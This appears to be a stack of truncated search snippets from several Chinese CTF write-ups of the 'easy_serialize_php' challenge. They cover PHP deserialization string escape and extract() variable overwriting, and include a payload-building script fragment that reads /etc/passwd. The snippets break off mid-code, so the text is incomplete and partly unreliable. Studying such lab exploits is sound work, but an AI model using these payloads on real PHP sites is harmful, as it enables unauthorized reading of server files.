}if(!$_GET['img_path']){$_SESSION['img'] =base64_encode('guest_img.png');#对ing的值进行base64加密}else{$_SESSION['img'] =sha1(base64_encode($_GET['img_path']));#对img的值进行base64加密和sha1加密}$serialize_info= filter(serialize($_SESSION));#将$_SESSION序列化并过滤if($f...
二、见下图可知,当传入新的session值时,user和funciton被清掉了 由此可得session值可以控制,(比如后面要控制的 $_SESSION["img"]="payload" ) 三、由下图可得: 序列化 $_SESSION =》filter过滤函数 =》反序列化 =》base64解密文件名(例子:$username['img']="base64加密后的d0g3_f1ag.php") 综上所述:...
$s=serialize($str); print($s); //a:3:{s:4:"a123";s:16:"flagflagflagflag";s:1:"a";s:40:"";s:1:"c";s:2:"12";s:1:"t";s:3:"125";}as";s:1:"b";s:3:"456";} echo "\n"; $s1=preg_replace("/flag/","",$s); //a:3:{s:4:"a123";s:16:"";s:1:"a...
首先看修改img_path 这个方法有一个问题,修改img_path,传入的内容会被base64和sha1加密$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));,然而,高亮文件内容时只做了base64的解密,所以修改img_path是无法读到文件的,所以只能修改userinfo['img']的内容 userinfo['img']的内容由_SESSION组成,...
echoserialize([1]);a:1:{i:0;i:1;} 因为我们覆盖了一个键值对,所以我们需要补充回去,遇到}时就停止检测了,即使后面还有字符串 这里写了个脚本,使用php 脚本.php即可执行 <?php$e="/etc/passwd";# 这里填写需要读取的文件$e=base64_encode($e);echo'_SESSION[a]=phpflagflagflagflagflagflagflagflag...
1.源码里,没有session_start(),phpinfo()里,session.auto_start也是off的,这样的话,在session这个问题上,每个页面顶多只能读取本身页面的$_SESSION数组。所以对于本题来讲应该只需要对这个页面做文章,不用想别的页面了。我们要搞清楚PHP中session机制的工作流程,同时我们也要明白这个题目里根本没有读取session文件,...
[安洵杯 2019]easy_serialize_php 1 WP这道题目考察的主要是序列化与反序列化过程中,对象逃逸的一个漏洞。 说是对象逃逸,我觉得可能叫对象注入比较形象。首先题目上来可以看到源码<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g')...
[安洵杯 2019]easy_serialize_php 1 首先打开靶机,只有一个链接没有其他东西 目录爆破没有爆破出来东西,打开链接,发现给出了网站源码 Copy<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$...
}else{$_SESSION['img'] =sha1(base64_encode($_GET['img_path'])); }$serialize_info= filter(serialize($_SESSION));if($function== 'highlight_file'){highlight_file('index.php'); }elseif($function== 'phpinfo'){eval('phpinfo();');//maybe you can find something in here!}elseif(...
1.用的刚好是我前面文章里面写的反序列化字符串逃逸。 2.extract()变量覆盖 首先看题代码。 <?php$function= @$_GET['f'];functionfilter($img){$filter_arr=array('php','flag','php5','php4','fl1g');$filter= '/'.implode('|',$filter_arr).'/i';returnpreg_replace($filter,'',$img)...